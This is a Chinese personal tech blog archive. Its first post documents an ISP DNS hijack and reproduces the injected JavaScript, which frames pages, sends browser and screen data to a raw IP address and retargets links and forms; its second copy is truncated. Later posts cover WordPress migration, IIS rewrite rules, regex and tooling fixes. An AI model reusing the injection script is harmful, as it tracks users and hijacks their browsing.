2011年3月6日 | 标签: , ,

本人现在正使用的是珠海6M ADSL电信宽带,最近一直出现网页打开title却不能正常显示,浏览器右侧莫名出现又滚动条,最开始以为是中木马,但是几次查杀发现问题并不是想像这样。
我查看页面源代码发现这样的代码

<html>
<body scroll='no' style='border:0;margin:0;padding:0;'>
<iframe src='http://www.williamlong.info/archives/2184.html?' width='100%' height='100%' frameborder='0'></iframe>
<iframe src='about:blank' frameborder='0' id='frmContent'></iframe>
<script>
try{
var win=window.frames[1];
var s=screen;
var ss="http://125.89.69.14:4022/logo.jpg?p="
+navigator.appMinorVersion+"|"+s.availHeight+"|"+s.availWidth+"|"+s.colorDepth+"|"+s.height+"|"+s.width;
win.location=ss;}
catch(e){
location.reload(true);}
_hInterval=window.setInterval('Check()', 500);
function Check(){
try{
var win=window.frames[0];
if(win.document.readyState!='complete'){return;}
window.clearInterval(_hInterval);
_hInterval=null;
var doc=win.document;
for(var i in doc.links){
if(doc.links[i].target=="")
{doc.links[i].target="_top";}}
for(var i in doc.forms){
if(doc.forms[i].target==""){doc.forms[i].target="_top";}}}
catch(e){}
}
window.setInterval('window.status=location.href', 200);
</script>
</body>
</html>

通过Google发现,这是一种被DNS劫持特征
珠海电信DNS劫持

下面看看被DNS劫持后浏览器的表现。

一、标题不能正常显示

珠海电信ADSL DNS劫持-标题不正常显示

二、右侧双滚动条

珠海电信ADSL DNS劫持-双滚动条

确定他们恶行后,我播打了他们10000进行了投诉,正如大家所知道的一样,客服人员先是辩解,再后来人打给我回访,说是尽快处理。

不过,晚上使用网络时发现比之前劫持的更严重。在此强烈BS,电信这种垃圾行为。

<html>
 
<body scroll='no' style='border:0;margin:0;padding:0;'>
 
<iframe src='http://www.williamlong.info/archives/2184.html?' width='100%' height='100%' frameborder='0'></iframe>
 
<iframe src='about:blank' frameborder='0' id='frmContent'></iframe>
 
<script>
 
try{
 
var win=window.frames[1];
 
var s=screen;
   
+navigator.appMinorVersion+"|"+s.availHeight+"|"+s.availWidth+"|"+s.colorDepth+"|"+s.height+"|"+s.width;
 
win.location=ss;}
 
catch(e){
 
location.reload(true);}
 
_hInterval=window.setInterval('Check()', 500);
 
function Check(){
 
try{
 
var win=window.frames[0];
 
if(win.document.readyState!='complete'){return;}
 
window.clearInterval(_hInterval);
 
_hInterval=null;
 
var doc=win.document;
 
for(var i in doc.links){
 
if(doc.links[i].target=="")
 
{doc.links[i].target="_top";}}
 
for(var i in doc.forms){
 
if(doc.forms[i].target==""){doc.forms[i].target="_top";}}}
 
catch(e){}
 
}
 
window.setInterval('window.status=location.href', 200);
 
</script>
 
</body>
 
</html>
 
 
2011年2月27日 | 标签: ,

终于把博客从pjblog转到wordpress下,转换过程断断续续搞了两天才完成。 用到工具asp2wp 可以从这里下载 下载工具解压到pjblog根目录,然后运行 asp2wp.asp,点击 “点击开始导出 PJ 数据” 会得到一个名为wordpress.xml的文件 然后安装好的wordpress中使用导入功能,导入文章。 导入的时候记得选择“wordpress”,以避免文章丢失。 这里要提醒大家一句,由于wordpress 3.0之后导入结构的变化,使用wordpress 2.9版本之前的版本可以完成导入。我是使用wp2.9完成的数据导入然后再升级到最新版wp。 工具可以导入文章和评论,但是友情链接和文章标签或丢失,大家目前也只能手动添加和编辑了。还好我的文章不是太多。 完成导入编辑后,考虑之前文章地址通过 URL Write重写 到新路径。 以下是我的重写规则(IIS7.0):

<rule name="Reriwrite Page" stopProcessing="true">

<match url="article.asp|default.asp" />

<conditions>

<add input="{QUERY_STRING}" pattern="id=([0-9]+)" />

</conditions>

<action type="Redirect" url="archives/{C:1}.html" appendQueryString="false" />

</rule>

<rule name="Reriwrite Tag Page" stopProcessing="true">

<match url="default.asp" />

<conditions>

<add input="{QUERY_STRING}" pattern="tag=(.+)" />

</conditions>

<action type="Redirect" url="tag/{C:1}" appendQueryString="false" />

</rule>

3月3号更新,加入了一些访问比较多的页面302跳转。

 <rewrite>
      <rules>
	    <rule name="Reriwrite Page" stopProcessing="true">
                    <match url="article.asp|default.asp" />
					<conditions>
                        <add input="{QUERY_STRING}" pattern="id=([0-9]+)" />
					</conditions>
                    <action type="Redirect" url="archives/{C:1}.html" appendQueryString="false" />
        </rule>
		<rule name="Reriwrite Tag Page" stopProcessing="true">
                    <match url="default.asp" />
					<conditions>
                        <add input="{QUERY_STRING}" pattern="tag=(.+)" />
					</conditions>
                    <action type="Redirect" url="tag/{C:1}" appendQueryString="false" />
        </rule>
		<rule name="Reriwrite About" stopProcessing="true">
                    <match url="about.asp" />
                    <action type="Redirect" url="about" appendQueryString="false" />
        </rule>
		<rule name="Reriwrite Feed" stopProcessing="true">
                    <match url="feed.asp" />
                    <action type="Redirect" url="feed" appendQueryString="false" />
        </rule>
        <rule name="Reriwrite Default" stopProcessing="true">
                    <match url="default.asp" />
                    <action type="Redirect" url="/" appendQueryString="false" />
        </rule>
		<rule name="Reriwrite Tags" stopProcessing="true">
                    <match url="tag.asp" />
                    <action type="Redirect" url="tags-cloud" appendQueryString="false" />
        </rule>
		<!--for old rewrite end/-->
        <rule name="wordpress" patternSyntax="Wildcard">
          <match url="*" />
          <conditions>
            <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
            <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
          </conditions>
          <action type="Rewrite" url="index.php" />
        </rule>
      </rules>
    </rewrite>

至此pjblog转wordpress完成。

2010年9月10日 | 标签: ,

被服务器拒绝访问,添加UserAgent

我机器IE8的UserAgent

“Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; CIBA; .NET4.0C; .NET4.0E)”;

Firefox 3.6的UserAgent

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 AlexaToolbar/alxf-1.54 Firefox/3.6.9 GTB7.1 (.NET CLR 3.5.30729)

当然,你可以使用Firefox下的Firebug或者IE下使用IE Developer V2获取你机器的UserAgent。

image

image

2010年8月20日 | 标签: ,

运行效果图

image

特点一,功能全,常用的基本功能都有了

如果你们的项目正好是基于jQuery,可以考虑使用这个插件,功能很全,可是体积很小哦

特点二,文件小,看看文件大小(我倒是觉得这个特点最招人爱)

image

特点三、不算特点的特点也支持所有主流浏览器(6.0+, FF 1.5+, Safari 4+, Chrome 5+ and Opera 10+)

这款编辑器基本可以满足广大人.民.群众的基本需求了,你可以试试

官方地址

CLEditor

http://premiumsoftware.net/cleditor/

2010年8月5日 | 标签:
tfs错误如标题
解决方法:
打开Visual Studio Command Prompt
输入命令:tf workspaces /remove:*
 

2010年7月28日 | 标签: ,

问题现象:如题

原因与解决方案:

发现很有很多字体被定义了 Chinese_PRC_CI_AS集合字体,导致无法运行

从生成的SQL中查询 “collate Chinese_PRC_CI_AS” 替换为空

再执行代码可以成功。

2010年7月28日 | 标签: ,

要查找的内容:

<a class=”class1” href=”http://www.radys.cn”>正则一</a>

<a href=”http://www.radys.cn” target=”_blank”>正则二a>

<a href=”http://www.radys.cn” style=”color:#ff0”>正则三</a>

<a href=”http://www.radys.cn” rel=”nofollow”>正则四内容</a>

<a title=”内空五” href=”http://www.radys.cn” rel=”nofollow”><img src=”http://www.radys.cn/logo.jpg” alt=”logo”/></a>

 

正则表达式(C#)

<a(.+?)href="([^>]+?)"([^>]*?)>(((?!<img).)*?)</a>

2010年7月27日 | 标签: ,

我使用的是Editplus v3.10

打开 Search->Relpace或者 ctrl + h

勾选 “Regular expression”

这时可以使用正表达试来处理文档了

 

我们下面的正则表达实现的是第一行使用<string></string>包裹起来

image

Find what: ^(.+)$

Replace with: <string>\1</string>

 

常用的正则(注意使用时不带外边的引号)

1、删除空行

     查找:“^\n”

     替换:“”

2、合并成一行

    查找:“\n”

    替换:“,”

3、每一行用<li></li>包裹

    查找: "^(.+)$"

    替换: "<li>\1</li>"

4、3的逆向操作

    查找:"^<li>(.+)</li>$"

    替换:"\1"

4、删除指定标签里的内容保留标签

    查找:"^(<li>).+(</li>)$"

    替换:"\1\2"

2010年7月25日 | 标签:

之前系统为2003系统安装的mysql版本是5.0.22

系统升级为window 7后,我重新安装mysql 5.5,结果总是提示如下错误

The security settings could not be applied.
Error Number 1045.
Access denied for user ‘root’@'localhost’(using password:YES)

 

导致这个错误的原因是,我一直使用原来旧密码登录,mysql 5.5安装完成后root的密码为空。

唉~~

2010年7月21日 | 标签: ,

由于命名空间改变,unsafeWindow下无法调用GM_getValue和GM_setValue如下

//使用正常

GM_setValue(‘foo’,true);

GM_etValue(‘foo’);

//不能访问GM值的

$(“#btnPost”).click(function(){

GM_setValue(‘foo’,true);//此时无法设置值

GM_etValue(‘foo’);//这里也得不到值

//可以使用以下方法解决

//外面套一个setTimeout()

setTimeout(function(){

GM_setValue(‘foo’,true);//可以写入值

GM_etValue(‘foo’);//可以得到值

},0)

})

 

解决方案来源与官方文档 http://wiki.greasespot.net/0.7.20080121.0_compatibility

希望对你有用。Enjoy it.